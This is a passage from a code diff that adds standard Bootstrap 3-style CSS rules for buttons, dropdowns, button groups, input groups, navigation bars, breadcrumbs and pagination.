.dropdown-toggle.btn-danger { + background-image: none; +} +.btn-danger.disabled:hover, +.btn-danger[disabled]:hover, +fieldset[disabled] .btn-danger:hover, +.btn-danger.disabled:focus, +.btn-danger[disabled]:focus, +fieldset[disabled] .btn-danger:focus, +.btn-danger.disabled.focus, +.btn-danger[disabled].focus, +fieldset[disabled] .btn-danger.focus { + background-color: #d9534f; + border-color: #d43f3a; +} +.btn-danger .badge { + color: #d9534f; + background-color: #fff; +} +.btn-link { + font-weight: normal; + color: #337ab7; + border-radius: 0; +} +.btn-link, +.btn-link:active, +.btn-link.active, +.btn-link[disabled], +fieldset[disabled] .btn-link { + background-color: transparent; + -webkit-box-shadow: none; + box-shadow: none; +} +.btn-link, +.btn-link:hover, +.btn-link:focus, +.btn-link:active { + border-color: transparent; +} +.btn-link:hover, +.btn-link:focus { + color: #23527c; + text-decoration: underline; + background-color: transparent; +} +.btn-link[disabled]:hover, +fieldset[disabled] .btn-link:hover, +.btn-link[disabled]:focus, +fieldset[disabled] .btn-link:focus { + color: #777; + text-decoration: none; +} +.btn-lg, +.btn-group-lg > .btn { + padding: 10px 16px; + font-size: 18px; + line-height: 1.3333333; + border-radius: 6px; +} +.btn-sm, +.btn-group-sm > .btn { + padding: 5px 10px; + font-size: 12px; + line-height: 1.5; + border-radius: 3px; +} +.btn-xs, +.btn-group-xs > .btn { + padding: 1px 5px; + font-size: 12px; + line-height: 1.5; + border-radius: 3px; +} +.btn-block { + display: block; + width: 100%; +} +.btn-block + .btn-block { + margin-top: 5px; +} +input[type="submit"].btn-block, +input[type="reset"].btn-block, +input[type="button"].btn-block { + width: 100%; +} +.fade { + opacity: 0; + -webkit-transition: opacity .15s linear; + -o-transition: opacity .15s linear; + transition: opacity .15s linear; +} +.fade.in { + opacity: 1; +} +.collapse { + display: none; +} +.collapse.in { + display: block; +} +tr.collapse.in { + display: table-row; +} +tbody.collapse.in { + display: table-row-group; +} +.collapsing { + position: relative; + height: 0; + overflow: hidden; + -webkit-transition-timing-function: ease; + -o-transition-timing-function: ease; + transition-timing-function: ease; + -webkit-transition-duration: .35s; + -o-transition-duration: .35s; + transition-duration: .35s; + -webkit-transition-property: height, visibility; + -o-transition-property: height, visibility; + transition-property: height, visibility; +} +.caret { + display: inline-block; + width: 0; + height: 0; + margin-left: 2px; + vertical-align: middle; + border-top: 4px dashed; + border-top: 4px solid \9; + border-right: 4px solid transparent; + border-left: 4px solid transparent; +} +.dropup, +.dropdown { + position: relative; +} +.dropdown-toggle:focus { + outline: 0; +} +.dropdown-menu { + position: absolute; + top: 100%; + left: 0; + z-index: 1000; + display: none; + float: left; + min-width: 160px; + padding: 5px 0; + margin: 2px 0 0; + font-size: 14px; + text-align: left; + list-style: none; + background-color: #fff; + -webkit-background-clip: padding-box; + background-clip: padding-box; + border: 1px solid #ccc; + border: 1px solid rgba(0, 0, 0, .15); + border-radius: 4px; + -webkit-box-shadow: 0 6px 12px rgba(0, 0, 0, .175); + box-shadow: 0 6px 12px rgba(0, 0, 0, .175); +} +.dropdown-menu.pull-right { + right: 0; + left: auto; +} +.dropdown-menu .divider { + height: 1px; + margin: 9px 0; + overflow: hidden; + background-color: #e5e5e5; +} +.dropdown-menu > li > a { + display: block; + padding: 3px 20px; + clear: both; + font-weight: normal; + line-height: 1.42857143; + color: #333; + white-space: nowrap; +} +.dropdown-menu > li > a:hover, +.dropdown-menu > li > a:focus { + color: #262626; + text-decoration: none; + background-color: #f5f5f5; +} +.dropdown-menu > .active > a, +.dropdown-menu > .active > a:hover, +.dropdown-menu > .active > a:focus { + color: #fff; + text-decoration: none; + background-color: #337ab7; + outline: 0; +} +.dropdown-menu > .disabled > a, +.dropdown-menu > .disabled > a:hover, +.dropdown-menu > .disabled > a:focus { + color: #777; +} +.dropdown-menu > .disabled > a:hover, +.dropdown-menu > .disabled > a:focus { + text-decoration: none; + cursor: not-allowed; + background-color: transparent; + background-image: none; + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); +} +.open > .dropdown-menu { + display: block; +} +.open > a { + outline: 0; +} +.dropdown-menu-right { + right: 0; + left: auto; +} +.dropdown-menu-left { + right: auto; + left: 0; +} +.dropdown-header { + display: block; + padding: 3px 20px; + font-size: 12px; + line-height: 1.42857143; + color: #777; + white-space: nowrap; +} +.dropdown-backdrop { + position: fixed; + top: 0; + right: 0; + bottom: 0; + left: 0; + z-index: 990; +} +.pull-right > .dropdown-menu { + right: 0; + left: auto; +} +.dropup .caret, +.navbar-fixed-bottom .dropdown .caret { + content: ""; + border-top: 0; + border-bottom: 4px dashed; + border-bottom: 4px solid \9; +} +.dropup .dropdown-menu, +.navbar-fixed-bottom .dropdown .dropdown-menu { + top: auto; + bottom: 100%; + margin-bottom: 2px; +} +@media (min-width: 768px) { + .navbar-right .dropdown-menu { + right: 0; + left: auto; + } + .navbar-right .dropdown-menu-left { + right: auto; + left: 0; + } +} +.btn-group, +.btn-group-vertical { + position: relative; + display: inline-block; + vertical-align: middle; +} +.btn-group > .btn, +.btn-group-vertical > .btn { + position: relative; + float: left; +} +.btn-group > .btn:hover, +.btn-group-vertical > .btn:hover, +.btn-group > .btn:focus, +.btn-group-vertical > .btn:focus, +.btn-group > .btn:active, +.btn-group-vertical > .btn:active, +.btn-group > .btn.active, +.btn-group-vertical > .btn.active { + z-index: 2; +} +.btn-group .btn + .btn, +.btn-group .btn + .btn-group, +.btn-group .btn-group + .btn, +.btn-group .btn-group + .btn-group { + margin-left: -1px; +} +.btn-toolbar { + margin-left: -5px; +} +.btn-toolbar .btn, +.btn-toolbar .btn-group, +.btn-toolbar .input-group { + float: left; +} +.btn-toolbar > .btn, +.btn-toolbar > .btn-group, +.btn-toolbar > .input-group { + margin-left: 5px; +} +.btn-group > .btn:not(:first-child):not(:last-child):not(.dropdown-toggle) { + border-radius: 0; +} +.btn-group > .btn:first-child { + margin-left: 0; +} +.btn-group > .btn:first-child:not(:last-child):not(.dropdown-toggle) { + border-top-right-radius: 0; + border-bottom-right-radius: 0; +} +.btn-group > .btn:last-child:not(:first-child), +.btn-group > .dropdown-toggle:not(:first-child) { + border-top-left-radius: 0; + border-bottom-left-radius: 0; +} +.btn-group > .btn-group { + float: left; +} +.btn-group > .btn-group:not(:first-child):not(:last-child) > .btn { + border-radius: 0; +} +.btn-group > .btn-group:first-child:not(:last-child) > .btn:last-child, +.btn-group > .btn-group:first-child:not(:last-child) > .dropdown-toggle { + border-top-right-radius: 0; + border-bottom-right-radius: 0; +} +.btn-group > .btn-group:last-child:not(:first-child) > .btn:first-child { + border-top-left-radius: 0; + border-bottom-left-radius: 0; +} +.btn-group .dropdown-toggle:active, +.btn-group.open .dropdown-toggle { + outline: 0; +} +.btn-group > .btn + .dropdown-toggle { + padding-right: 8px; + padding-left: 8px; +} +.btn-group > .btn-lg + .dropdown-toggle { + padding-right: 12px; + padding-left: 12px; +} +.btn-group.open .dropdown-toggle { + -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125); + box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125); +} +.btn-group.open .dropdown-toggle.btn-link { + -webkit-box-shadow: none; + box-shadow: none; +} +.btn .caret { + margin-left: 0; +} +.btn-lg .caret { + border-width: 5px 5px 0; + border-bottom-width: 0; +} +.dropup .btn-lg .caret { + border-width: 0 5px 5px; +} +.btn-group-vertical > .btn, +.btn-group-vertical > .btn-group, +.btn-group-vertical > .btn-group > .btn { + display: block; + float: none; + width: 100%; + max-width: 100%; +} +.btn-group-vertical > .btn-group > .btn { + float: none; +} +.btn-group-vertical > .btn + .btn, +.btn-group-vertical > .btn + .btn-group, +.btn-group-vertical > .btn-group + .btn, +.btn-group-vertical > .btn-group + .btn-group { + margin-top: -1px; + margin-left: 0; +} +.btn-group-vertical > .btn:not(:first-child):not(:last-child) { + border-radius: 0; +} +.btn-group-vertical > .btn:first-child:not(:last-child) { + border-top-left-radius: 4px; + border-top-right-radius: 4px; + border-bottom-right-radius: 0; + border-bottom-left-radius: 0; +} +.btn-group-vertical > .btn:last-child:not(:first-child) { + border-top-left-radius: 0; + border-top-right-radius: 0; + border-bottom-right-radius: 4px; + border-bottom-left-radius: 4px; +} +.btn-group-vertical > .btn-group:not(:first-child):not(:last-child) > .btn { + border-radius: 0; +} +.btn-group-vertical > .btn-group:first-child:not(:last-child) > .btn:last-child, +.btn-group-vertical > .btn-group:first-child:not(:last-child) > .dropdown-toggle { + border-bottom-right-radius: 0; + border-bottom-left-radius: 0; +} +.btn-group-vertical > .btn-group:last-child:not(:first-child) > .btn:first-child { + border-top-left-radius: 0; + border-top-right-radius: 0; +} +.btn-group-justified { + display: table; + width: 100%; + table-layout: fixed; + border-collapse: separate; +} +.btn-group-justified > .btn, +.btn-group-justified > .btn-group { + display: table-cell; + float: none; + width: 1%; +} +.btn-group-justified > .btn-group .btn { + width: 100%; +} +.btn-group-justified > .btn-group .dropdown-menu { + left: auto; +} +[data-toggle="buttons"] > .btn input[type="radio"], +[data-toggle="buttons"] > .btn-group > .btn input[type="radio"], +[data-toggle="buttons"] > .btn input[type="checkbox"], +[data-toggle="buttons"] > .btn-group > .btn input[type="checkbox"] { + position: absolute; + clip: rect(0, 0, 0, 0); + pointer-events: none; +} +.input-group { + position: relative; + display: table; + border-collapse: separate; +} +.input-group[class*="col-"] { + float: none; + padding-right: 0; + padding-left: 0; +} +.input-group .form-control { + position: relative; + z-index: 2; + float: left; + width: 100%; + margin-bottom: 0; +} +.input-group .form-control:focus { + z-index: 3; +} +.input-group-lg > .form-control, +.input-group-lg > .input-group-addon, +.input-group-lg > .input-group-btn > .btn { + height: 46px; + padding: 10px 16px; + font-size: 18px; + line-height: 1.3333333; + border-radius: 6px; +} +select.input-group-lg > .form-control, +select.input-group-lg > .input-group-addon, +select.input-group-lg > .input-group-btn > .btn { + height: 46px; + line-height: 46px; +} +textarea.input-group-lg > .form-control, +textarea.input-group-lg > .input-group-addon, +textarea.input-group-lg > .input-group-btn > .btn, +select[multiple].input-group-lg > .form-control, +select[multiple].input-group-lg > .input-group-addon, +select[multiple].input-group-lg > .input-group-btn > .btn { + height: auto; +} +.input-group-sm > .form-control, +.input-group-sm > .input-group-addon, +.input-group-sm > .input-group-btn > .btn { + height: 30px; + padding: 5px 10px; + font-size: 12px; + line-height: 1.5; + border-radius: 3px; +} +select.input-group-sm > .form-control, +select.input-group-sm > .input-group-addon, +select.input-group-sm > .input-group-btn > .btn { + height: 30px; + line-height: 30px; +} +textarea.input-group-sm > .form-control, +textarea.input-group-sm > .input-group-addon, +textarea.input-group-sm > .input-group-btn > .btn, +select[multiple].input-group-sm > .form-control, +select[multiple].input-group-sm > .input-group-addon, +select[multiple].input-group-sm > .input-group-btn > .btn { + height: auto; +} +.input-group-addon, +.input-group-btn, +.input-group .form-control { + display: table-cell; +} +.input-group-addon:not(:first-child):not(:last-child), +.input-group-btn:not(:first-child):not(:last-child), +.input-group .form-control:not(:first-child):not(:last-child) { + border-radius: 0; +} +.input-group-addon, +.input-group-btn { + width: 1%; + white-space: nowrap; + vertical-align: middle; +} +.input-group-addon { + padding: 6px 12px; + font-size: 14px; + font-weight: normal; + line-height: 1; + color: #555; + text-align: center; + background-color: #eee; + border: 1px solid #ccc; + border-radius: 4px; +} +.input-group-addon.input-sm { + padding: 5px 10px; + font-size: 12px; + border-radius: 3px; +} +.input-group-addon.input-lg { + padding: 10px 16px; + font-size: 18px; + border-radius: 6px; +} +.input-group-addon input[type="radio"], +.input-group-addon input[type="checkbox"] { + margin-top: 0; +} +.input-group .form-control:first-child, +.input-group-addon:first-child, +.input-group-btn:first-child > .btn, +.input-group-btn:first-child > .btn-group > .btn, +.input-group-btn:first-child > .dropdown-toggle, +.input-group-btn:last-child > .btn:not(:last-child):not(.dropdown-toggle), +.input-group-btn:last-child > .btn-group:not(:last-child) > .btn { + border-top-right-radius: 0; + border-bottom-right-radius: 0; +} +.input-group-addon:first-child { + border-right: 0; +} +.input-group .form-control:last-child, +.input-group-addon:last-child, +.input-group-btn:last-child > .btn, +.input-group-btn:last-child > .btn-group > .btn, +.input-group-btn:last-child > .dropdown-toggle, +.input-group-btn:first-child > .btn:not(:first-child), +.input-group-btn:first-child > .btn-group:not(:first-child) > .btn { + border-top-left-radius: 0; + border-bottom-left-radius: 0; +} +.input-group-addon:last-child { + border-left: 0; +} +.input-group-btn { + position: relative; + font-size: 0; + white-space: nowrap; +} +.input-group-btn > .btn { + position: relative; +} +.input-group-btn > .btn + .btn { + margin-left: -1px; +} +.input-group-btn > .btn:hover, +.input-group-btn > .btn:focus, +.input-group-btn > .btn:active { + z-index: 2; +} +.input-group-btn:first-child > .btn, +.input-group-btn:first-child > .btn-group { + margin-right: -1px; +} +.input-group-btn:last-child > .btn, +.input-group-btn:last-child > .btn-group { + z-index: 2; + margin-left: -1px; +} +.nav { + padding-left: 0; + margin-bottom: 0; + list-style: none; +} +.nav > li { + position: relative; + display: block; +} +.nav > li > a { + position: relative; + display: block; + padding: 10px 15px; +} +.nav > li > a:hover, +.nav > li > a:focus { + text-decoration: none; + background-color: #eee; +} +.nav > li.disabled > a { + color: #777; +} +.nav > li.disabled > a:hover, +.nav > li.disabled > a:focus { + color: #777; + text-decoration: none; + cursor: not-allowed; + background-color: transparent; +} +.nav .open > a, +.nav .open > a:hover, +.nav .open > a:focus { + background-color: #eee; + border-color: #337ab7; +} +.nav .nav-divider { + height: 1px; + margin: 9px 0; + overflow: hidden; + background-color: #e5e5e5; +} +.nav > li > a > img { + max-width: none; +} +.nav-tabs { + border-bottom: 1px solid #ddd; +} +.nav-tabs > li { + float: left; + margin-bottom: -1px; +} +.nav-tabs > li > a { + margin-right: 2px; + line-height: 1.42857143; + border: 1px solid transparent; + border-radius: 4px 4px 0 0; +} +.nav-tabs > li > a:hover { + border-color: #eee #eee #ddd; +} +.nav-tabs > li.active > a, +.nav-tabs > li.active > a:hover, +.nav-tabs > li.active > a:focus { + color: #555; + cursor: default; + background-color: #fff; + border: 1px solid #ddd; + border-bottom-color: transparent; +} +.nav-tabs.nav-justified { + width: 100%; + border-bottom: 0; +} +.nav-tabs.nav-justified > li { + float: none; +} +.nav-tabs.nav-justified > li > a { + margin-bottom: 5px; + text-align: center; +} +.nav-tabs.nav-justified > .dropdown .dropdown-menu { + top: auto; + left: auto; +} +@media (min-width: 768px) { + .nav-tabs.nav-justified > li { + display: table-cell; + width: 1%; + } + .nav-tabs.nav-justified > li > a { + margin-bottom: 0; + } +} +.nav-tabs.nav-justified > li > a { + margin-right: 0; + border-radius: 4px; +} +.nav-tabs.nav-justified > .active > a, +.nav-tabs.nav-justified > .active > a:hover, +.nav-tabs.nav-justified > .active > a:focus { + border: 1px solid #ddd; +} +@media (min-width: 768px) { + .nav-tabs.nav-justified > li > a { + border-bottom: 1px solid #ddd; + border-radius: 4px 4px 0 0; + } + .nav-tabs.nav-justified > .active > a, + .nav-tabs.nav-justified > .active > a:hover, + .nav-tabs.nav-justified > .active > a:focus { + border-bottom-color: #fff; + } +} +.nav-pills > li { + float: left; +} +.nav-pills > li > a { + border-radius: 4px; +} +.nav-pills > li + li { + margin-left: 2px; +} +.nav-pills > li.active > a, +.nav-pills > li.active > a:hover, +.nav-pills > li.active > a:focus { + color: #fff; + background-color: #337ab7; +} +.nav-stacked > li { + float: none; +} +.nav-stacked > li + li { + margin-top: 2px; + margin-left: 0; +} +.nav-justified { + width: 100%; +} +.nav-justified > li { + float: none; +} +.nav-justified > li > a { + margin-bottom: 5px; + text-align: center; +} +.nav-justified > .dropdown .dropdown-menu { + top: auto; + left: auto; +} +@media (min-width: 768px) { + .nav-justified > li { + display: table-cell; + width: 1%; + } + .nav-justified > li > a { + margin-bottom: 0; + } +} +.nav-tabs-justified { + border-bottom: 0; +} +.nav-tabs-justified > li > a { + margin-right: 0; + border-radius: 4px; +} +.nav-tabs-justified > .active > a, +.nav-tabs-justified > .active > a:hover, +.nav-tabs-justified > .active > a:focus { + border: 1px solid #ddd; +} +@media (min-width: 768px) { + .nav-tabs-justified > li > a { + border-bottom: 1px solid #ddd; + border-radius: 4px 4px 0 0; + } + .nav-tabs-justified > .active > a, + .nav-tabs-justified > .active > a:hover, + .nav-tabs-justified > .active > a:focus { + border-bottom-color: #fff; + } +} +.tab-content > .tab-pane { + display: none; +} +.tab-content > .active { + display: block; +} +.nav-tabs .dropdown-menu { + margin-top: -1px; + border-top-left-radius: 0; + border-top-right-radius: 0; +} +.navbar { + position: relative; + min-height: 50px; + margin-bottom: 20px; + border: 1px solid transparent; +} +@media (min-width: 768px) { + .navbar { + border-radius: 4px; + } +} +@media (min-width: 768px) { + .navbar-header { + float: left; + } +} +.navbar-collapse { + padding-right: 15px; + padding-left: 15px; + overflow-x: visible; + -webkit-overflow-scrolling: touch; + border-top: 1px solid transparent; + -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1); + box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1); +} +.navbar-collapse.in { + overflow-y: auto; +} +@media (min-width: 768px) { + .navbar-collapse { + width: auto; + border-top: 0; + -webkit-box-shadow: none; + box-shadow: none; + } + .navbar-collapse.collapse { + display: block !important; + height: auto !important; + padding-bottom: 0; + overflow: visible !important; + } + .navbar-collapse.in { + overflow-y: visible; + } + .navbar-fixed-top .navbar-collapse, + .navbar-static-top .navbar-collapse, + .navbar-fixed-bottom .navbar-collapse { + padding-right: 0; + padding-left: 0; + } +} +.navbar-fixed-top .navbar-collapse, +.navbar-fixed-bottom .navbar-collapse { + max-height: 340px; +} +@media (max-device-width: 480px) and (orientation: landscape) { + .navbar-fixed-top .navbar-collapse, + .navbar-fixed-bottom .navbar-collapse { + max-height: 200px; + } +} +.container > .navbar-header, +.container-fluid > .navbar-header, +.container > .navbar-collapse, +.container-fluid > .navbar-collapse { + margin-right: -15px; + margin-left: -15px; +} +@media (min-width: 768px) { + .container > .navbar-header, + .container-fluid > .navbar-header, + .container > .navbar-collapse, + .container-fluid > .navbar-collapse { + margin-right: 0; + margin-left: 0; + } +} +.navbar-static-top { + z-index: 1000; + border-width: 0 0 1px; +} +@media (min-width: 768px) { + .navbar-static-top { + border-radius: 0; + } +} +.navbar-fixed-top, +.navbar-fixed-bottom { + position: fixed; + right: 0; + left: 0; + z-index: 1030; +} +@media (min-width: 768px) { + .navbar-fixed-top, + .navbar-fixed-bottom { + border-radius: 0; + } +} +.navbar-fixed-top { + top: 0; + border-width: 0 0 1px; +} +.navbar-fixed-bottom { + bottom: 0; + margin-bottom: 0; + border-width: 1px 0 0; +} +.navbar-brand { + float: left; + height: 50px; + padding: 15px 15px; + font-size: 18px; + line-height: 20px; +} +.navbar-brand:hover, +.navbar-brand:focus { + text-decoration: none; +} +.navbar-brand > img { + display: block; +} +@media (min-width: 768px) { + .navbar > .container .navbar-brand, + .navbar > .container-fluid .navbar-brand { + margin-left: -15px; + } +} +.navbar-toggle { + position: relative; + float: right; + padding: 9px 10px; + margin-top: 8px; + margin-right: 15px; + margin-bottom: 8px; + background-color: transparent; + background-image: none; + border: 1px solid transparent; + border-radius: 4px; +} +.navbar-toggle:focus { + outline: 0; +} +.navbar-toggle .icon-bar { + display: block; + width: 22px; + height: 2px; + border-radius: 1px; +} +.navbar-toggle .icon-bar + .icon-bar { + margin-top: 4px; +} +@media (min-width: 768px) { + .navbar-toggle { + display: none; + } +} +.navbar-nav { + margin: 7.5px -15px; +} +.navbar-nav > li > a { + padding-top: 10px; + padding-bottom: 10px; + line-height: 20px; +} +@media (max-width: 767px) { + .navbar-nav .open .dropdown-menu { + position: static; + float: none; + width: auto; + margin-top: 0; + background-color: transparent; + border: 0; + -webkit-box-shadow: none; + box-shadow: none; + } + .navbar-nav .open .dropdown-menu > li > a, + .navbar-nav .open .dropdown-menu .dropdown-header { + padding: 5px 15px 5px 25px; + } + .navbar-nav .open .dropdown-menu > li > a { + line-height: 20px; + } + .navbar-nav .open .dropdown-menu > li > a:hover, + .navbar-nav .open .dropdown-menu > li > a:focus { + background-image: none; + } +} +@media (min-width: 768px) { + .navbar-nav { + float: left; + margin: 0; + } + .navbar-nav > li { + float: left; + } + .navbar-nav > li > a { + padding-top: 15px; + padding-bottom: 15px; + } +} +.navbar-form { + padding: 10px 15px; + margin-top: 8px; + margin-right: -15px; + margin-bottom: 8px; + margin-left: -15px; + border-top: 1px solid transparent; + border-bottom: 1px solid transparent; + -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1), 0 1px 0 rgba(255, 255, 255, .1); + box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1), 0 1px 0 rgba(255, 255, 255, .1); +} +@media (min-width: 768px) { + .navbar-form .form-group { + display: inline-block; + margin-bottom: 0; + vertical-align: middle; + } + .navbar-form .form-control { + display: inline-block; + width: auto; + vertical-align: middle; + } + .navbar-form .form-control-static { + display: inline-block; + } + .navbar-form .input-group { + display: inline-table; + vertical-align: middle; + } + .navbar-form .input-group .input-group-addon, + .navbar-form .input-group .input-group-btn, + .navbar-form .input-group .form-control { + width: auto; + } + .navbar-form .input-group > .form-control { + width: 100%; + } + .navbar-form .control-label { + margin-bottom: 0; + vertical-align: middle; + } + .navbar-form .radio, + .navbar-form .checkbox { + display: inline-block; + margin-top: 0; + margin-bottom: 0; + vertical-align: middle; + } + .navbar-form .radio label, + .navbar-form .checkbox label { + padding-left: 0; + } + .navbar-form .radio input[type="radio"], + .navbar-form .checkbox input[type="checkbox"] { + position: relative; + margin-left: 0; + } + .navbar-form .has-feedback .form-control-feedback { + top: 0; + } +} +@media (max-width: 767px) { + .navbar-form .form-group { + margin-bottom: 5px; + } + .navbar-form .form-group:last-child { + margin-bottom: 0; + } +} +@media (min-width: 768px) { + .navbar-form { + width: auto; + padding-top: 0; + padding-bottom: 0; + margin-right: 0; + margin-left: 0; + border: 0; + -webkit-box-shadow: none; + box-shadow: none; + } +} +.navbar-nav > li > .dropdown-menu { + margin-top: 0; + border-top-left-radius: 0; + border-top-right-radius: 0; +} +.navbar-fixed-bottom .navbar-nav > li > .dropdown-menu { + margin-bottom: 0; + border-top-left-radius: 4px; + border-top-right-radius: 4px; + border-bottom-right-radius: 0; + border-bottom-left-radius: 0; +} +.navbar-btn { + margin-top: 8px; + margin-bottom: 8px; +} +.navbar-btn.btn-sm { + margin-top: 10px; + margin-bottom: 10px; +} +.navbar-btn.btn-xs { + margin-top: 14px; + margin-bottom: 14px; +} +.navbar-text { + margin-top: 15px; + margin-bottom: 15px; +} +@media (min-width: 768px) { + .navbar-text { + float: left; + margin-right: 15px; + margin-left: 15px; + } +} +@media (min-width: 768px) { + .navbar-left { + float: left !important; + } + .navbar-right { + float: right !important; + margin-right: -15px; + } + .navbar-right ~ .navbar-right { + margin-right: 0; + } +} +.navbar-default { + background-color: #f8f8f8; + border-color: #e7e7e7; +} +.navbar-default .navbar-brand { + color: #777; +} +.navbar-default .navbar-brand:hover, +.navbar-default .navbar-brand:focus { + color: #5e5e5e; + background-color: transparent; +} +.navbar-default .navbar-text { + color: #777; +} +.navbar-default .navbar-nav > li > a { + color: #777; +} +.navbar-default .navbar-nav > li > a:hover, +.navbar-default .navbar-nav > li > a:focus { + color: #333; + background-color: transparent; +} +.navbar-default .navbar-nav > .active > a, +.navbar-default .navbar-nav > .active > a:hover, +.navbar-default .navbar-nav > .active > a:focus { + color: #555; + background-color: #e7e7e7; +} +.navbar-default .navbar-nav > .disabled > a, +.navbar-default .navbar-nav > .disabled > a:hover, +.navbar-default .navbar-nav > .disabled > a:focus { + color: #ccc; + background-color: transparent; +} +.navbar-default .navbar-toggle { + border-color: #ddd; +} +.navbar-default .navbar-toggle:hover, +.navbar-default .navbar-toggle:focus { + background-color: #ddd; +} +.navbar-default .navbar-toggle .icon-bar { + background-color: #888; +} +.navbar-default .navbar-collapse, +.navbar-default .navbar-form { + border-color: #e7e7e7; +} +.navbar-default .navbar-nav > .open > a, +.navbar-default .navbar-nav > .open > a:hover, +.navbar-default .navbar-nav > .open > a:focus { + color: #555; + background-color: #e7e7e7; +} +@media (max-width: 767px) { + .navbar-default .navbar-nav .open .dropdown-menu > li > a { + color: #777; + } + .navbar-default .navbar-nav .open .dropdown-menu > li > a:hover, + .navbar-default .navbar-nav .open .dropdown-menu > li > a:focus { + color: #333; + background-color: transparent; + } + .navbar-default .navbar-nav .open .dropdown-menu > .active > a, + .navbar-default .navbar-nav .open .dropdown-menu > .active > a:hover, + .navbar-default .navbar-nav .open .dropdown-menu > .active > a:focus { + color: #555; + background-color: #e7e7e7; + } + .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a, + .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:hover, + .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:focus { + color: #ccc; + background-color: transparent; + } +} +.navbar-default .navbar-link { + color: #777; +} +.navbar-default .navbar-link:hover { + color: #333; +} +.navbar-default .btn-link { + color: #777; +} +.navbar-default .btn-link:hover, +.navbar-default .btn-link:focus { + color: #333; +} +.navbar-default .btn-link[disabled]:hover, +fieldset[disabled] .navbar-default .btn-link:hover, +.navbar-default .btn-link[disabled]:focus, +fieldset[disabled] .navbar-default .btn-link:focus { + color: #ccc; +} +.navbar-inverse { + background-color: #222; + border-color: #080808; +} +.navbar-inverse .navbar-brand { + color: #9d9d9d; +} +.navbar-inverse .navbar-brand:hover, +.navbar-inverse .navbar-brand:focus { + color: #fff; + background-color: transparent; +} +.navbar-inverse .navbar-text { + color: #9d9d9d; +} +.navbar-inverse .navbar-nav > li > a { + color: #9d9d9d; +} +.navbar-inverse .navbar-nav > li > a:hover, +.navbar-inverse .navbar-nav > li > a:focus { + color: #fff; + background-color: transparent; +} +.navbar-inverse .navbar-nav > .active > a, +.navbar-inverse .navbar-nav > .active > a:hover, +.navbar-inverse .navbar-nav > .active > a:focus { + color: #fff; + background-color: #080808; +} +.navbar-inverse .navbar-nav > .disabled > a, +.navbar-inverse .navbar-nav > .disabled > a:hover, +.navbar-inverse .navbar-nav > .disabled > a:focus { + color: #444; + background-color: transparent; +} +.navbar-inverse .navbar-toggle { + border-color: #333; +} +.navbar-inverse .navbar-toggle:hover, +.navbar-inverse .navbar-toggle:focus { + background-color: #333; +} +.navbar-inverse .navbar-toggle .icon-bar { + background-color: #fff; +} +.navbar-inverse .navbar-collapse, +.navbar-inverse .navbar-form { + border-color: #101010; +} +.navbar-inverse .navbar-nav > .open > a, +.navbar-inverse .navbar-nav > .open > a:hover, +.navbar-inverse .navbar-nav > .open > a:focus { + color: #fff; + background-color: #080808; +} +@media (max-width: 767px) { + .navbar-inverse .navbar-nav .open .dropdown-menu > .dropdown-header { + border-color: #080808; + } + .navbar-inverse .navbar-nav .open .dropdown-menu .divider { + background-color: #080808; + } + .navbar-inverse .navbar-nav .open .dropdown-menu > li > a { + color: #9d9d9d; + } + .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:hover, + .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:focus { + color: #fff; + background-color: transparent; + } + .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a, + .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:hover, + .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:focus { + color: #fff; + background-color: #080808; + } + .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a, + .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:hover, + .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:focus { + color: #444; + background-color: transparent; + } +} +.navbar-inverse .navbar-link { + color: #9d9d9d; +} +.navbar-inverse .navbar-link:hover { + color: #fff; +} +.navbar-inverse .btn-link { + color: #9d9d9d; +} +.navbar-inverse .btn-link:hover, +.navbar-inverse .btn-link:focus { + color: #fff; +} +.navbar-inverse .btn-link[disabled]:hover, +fieldset[disabled] .navbar-inverse .btn-link:hover, +.navbar-inverse .btn-link[disabled]:focus, +fieldset[disabled] .navbar-inverse .btn-link:focus { + color: #444; +} +.breadcrumb { + padding: 8px 15px; + margin-bottom: 20px; + list-style: none; + background-color: #f5f5f5; + border-radius: 4px; +} +.breadcrumb > li { + display: inline-block; +} +.breadcrumb > li + li:before { + padding: 0 5px; + color: #ccc; + content: "/\00a0"; +} +.breadcrumb > .active { + color: #777; +} +.pagination { + display: inline-block; + padding-left: 0; + margin: 20px 0; + border-radius: 4px; +} +.pagination > li { + display: inline; +} +.pagination > li > a, +.pagination > li > span { + position: relative; + float: left; + padding: 6px 12px; + margin-left: -1px; + line-height: 1.42857143; + color: #337ab7; + text-decoration: none; + background-color: #fff; + border: 1px solid #ddd; +} +.pagination > li:first-child > a, +.pagination > li:first-child > span { + margin-left: 0; + border-top-left-radius: 4px; + border-bottom-left-radius: 4px; +} +.pagination > li:last-child > a, +.pagination > li:last-child > span { + border-top-right-radius: 4px; + border-bottom-right-radius: 4px; +} +.pagination > li > a:hover, +.pagination > li > span:hover, +.pagination > li > a:focus, +.pagination > li > span:focus { + z-index: 2; + color: #23527c; + background-color: #eee; + border-color: #ddd; +} +.pagination > .active > a, +.pagination > .active > span, +.pagination > .active > a:hover, +.pagination > .active > span:hover, +.pagination > .active > a:focus, +.pagination > .active > span:focus { + z-index: 3; + color: #fff; + cursor: default; + background-color: #337ab7; + border-color: #337ab7; +} +.pagination > .disabled > span, +.pagination > .disabled > span:hover, +.pagination > .disabled > span:focus, +.pagination > .disabled > a, +.pagination > .disabled > a:hover, +.pagination > .disabled > a:focus { + color: #777; + cursor: not-allowed; + background-color: #fff; + border-color: #ddd; +} +.pagination-lg > li > a, +.pagination-lg > li > span { + padding: 10px 16px; + font-size: 18px; + line-height: 1.3333333; +} +.pagination-lg > li:first-child > a, +.pagination-lg > li:first-child > span { + border-top-left-radius: 6px; + border-bottom-left-radius: 6px; +} 